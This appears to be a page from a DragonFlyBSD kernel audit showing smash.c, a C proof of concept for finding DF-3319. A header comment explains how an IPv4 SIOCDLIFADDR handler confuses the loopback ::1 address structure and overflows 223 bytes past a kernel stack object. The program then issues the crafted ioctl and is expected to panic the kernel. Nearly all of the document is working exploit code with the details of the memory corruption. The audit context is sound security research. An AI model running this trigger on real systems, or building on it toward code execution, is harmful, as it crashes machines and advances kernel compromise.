⬢ DragonFlyBSD Kernel Audit
DF-3319 / smash.c
← back to finding ↓ download raw
/*
 * DF-3319 trigger (run as ROOT -- SIOCDLIFADDR requires
 * SYSCAP_RESTRICTEDROOT, sys/netinet/in.c:437-441).
 *
 * On a stock guest lo0 carries "inet6 ::1 prefixlen 128".  The IPv4
 * SIOCDLIFADDR handler in_lifaddr_ioctl() selects ifaddrs with
 *
 *	if (ifa->ifa_addr->sa_family != AF_INET6) continue;   (:911)
 *
 * (DF-0490: wrong family for the IPv4 handler), so this AF_INET request
 * type-confuses ::1's struct in6_ifaddr as a struct in_ifaddr and then
 *
 *	bcopy(&ia->ia_sockmask, &ifra.ifra_dstaddr,
 *	      ia->ia_sockmask.sin_len);			   (:955-956)
 *
 * reads the copy LENGTH from in6_ifaddr offset 344 = ia_prefixmask +
 * sin6_addr byte 12, which is 0xff for ANY prefix >= /104 -- including
 * the stock /128 of ::1.  255 bytes are written into the 64-byte on-stack
 * struct in_aliasreq ifra at offset 32 -> 223 bytes past the object,
 * smashing the return path of in_lifaddr_ioctl().
 *
 * No setup is required beyond lo0 having an IPv6 address (default).
 *
 * Build: cc -O -o smash smash.c
 * Run:   ./smash           (as root; expect a kernel panic)
 */
#include <sys/param.h>
#include <sys/ioctl.h>
#include <sys/socket.h>
#include <sys/sockio.h>
#include <net/if.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
#include <unistd.h>

int
main(int argc, char **argv)
{
	struct if_laddrreq iflr;
	struct sockaddr_in *sin;
	const char *ifname = (argc > 1) ? argv[1] : "lo0";
	int s;

	s = socket(AF_INET, SOCK_DGRAM, 0);
	if (s < 0) {
		perror("socket");
		exit(1);
	}

	memset(&iflr, 0, sizeof(iflr));
	strlcpy(iflr.iflr_name, ifname, sizeof(iflr.iflr_name));

	/*
	 * No IFLR_PREFIX: the walk does an exact /32 match.  Because the
	 * comparison reads the "address" from &ifa->ifa_addr -- the address
	 * of the ifa_addr POINTER FIELD, not the sockaddr it points to
	 * (another artifact of the confused handler) -- candidate.s_addr is
	 * the HIGH 4 BYTES of the kernel pointer to the ifaddr's sockaddr.
	 * On this guest every struct sockaddr * is 0xfffff800_xxxxxxxx
	 * (little-endian bytes 4..7 = 00 f8 ff ff), so the query address
	 * 0.248.255.255 matches the first AF_INET6 ifaddr (here: ::1 with
	 * its stock /128 prefix mask -> confused ia_sockmask.sin_len = 0xff).
	 */
	sin = (struct sockaddr_in *)&iflr.addr;
	sin->sin_family = AF_INET;
	sin->sin_len = sizeof(*sin);
	sin->sin_addr.s_addr = inet_addr("0.248.255.255");

	printf("issuing SIOCDLIFADDR(%s, 0.248.255.255) ...\n", ifname);
	fflush(stdout);

	if (ioctl(s, SIOCDLIFADDR, &iflr) < 0) {
		printf("SIOCDLIFADDR returned: %s\n", strerror(errno));
		return (1);
	}
	printf("SIOCDLIFADDR returned success (no panic)\n");
	return (0);
}